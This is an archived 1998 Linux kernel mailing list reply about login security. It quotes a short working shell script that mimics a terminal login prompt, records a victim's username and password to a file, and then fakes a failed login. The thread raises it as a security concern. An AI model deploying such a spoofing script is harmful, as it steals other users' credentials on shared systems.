From: jens@pinguin.conetix.de
To: linux-kernel@vger.rutgers.edu
Subject: Re: Linux login security approaches
Date: Sun, 13 Dec 1998 16:25:24 +0100 [thread overview]
Message-ID: <19981213162524.B17371@pinguin.conetix.de> (raw)
In-Reply-To: <19981212061305.G386@uni-koblenz.de>; from ralf@uni-koblenz.de on Sat, Dec 12, 1998 at 06:13:05AM +0100
On Sat, Dec 12, 1998 at 06:13:05AM +0100, ralf@uni-koblenz.de wrote:
>> What about just starting (as evil_user, who has an account) the following,
>> hiding behind a corner, and wait for another user?
>>
>> #!/bin/sh
>> #
>> echo -n "`uname -n` login: "
>> read LOGIN
>> echo -n "Password: "
>> read PW
>> echo $LOGIN $PW >> ~/sneaked_passwords.txt
>> chmod 0600 ~/sneaked_passwords.txt
>> echo "Login incorrect"
>> sleep 1
>> logout
>>
>> (of course, this has to be a text terminal)
>
> A shell script like that was included with ``UNIX Programmers Workbench'',
> volume 2, as delivered with Edition 7 ...
I'll have a look into this book in our library if they have it, thanks. :)
--
_ciao, Jens_______________________________ http://www.pinguin.conetix.de
cat /dev/boiler/water | tea | sieve > /cup
mount -t hdev /dev/human/mouth01 /mouth ; cat /cup >/mouth/gulp
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/
next parent reply other threads:[~1998-12-14 12:52 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
[not found] <19981207144143.A19454@knt.terra.vein.hu>
[not found] ` <Pine.LNX.4.05.9812080125180.3246-100000@cyril.iaeste.dtu.dk>
[not found] ` <19981209203129.C26554@pinguin.conetix.de>
[not found] ` <19981212061305.G386@uni-koblenz.de>
1998-12-13 15:25 ` jens [this message]
1998-12-12 6:40 Albert D. Cahalan
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=19981213162524.B17371@pinguin.conetix.de \
--to=jens@pinguin.conetix.de \
--cc=linux-kernel@vger.rutgers.edu \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®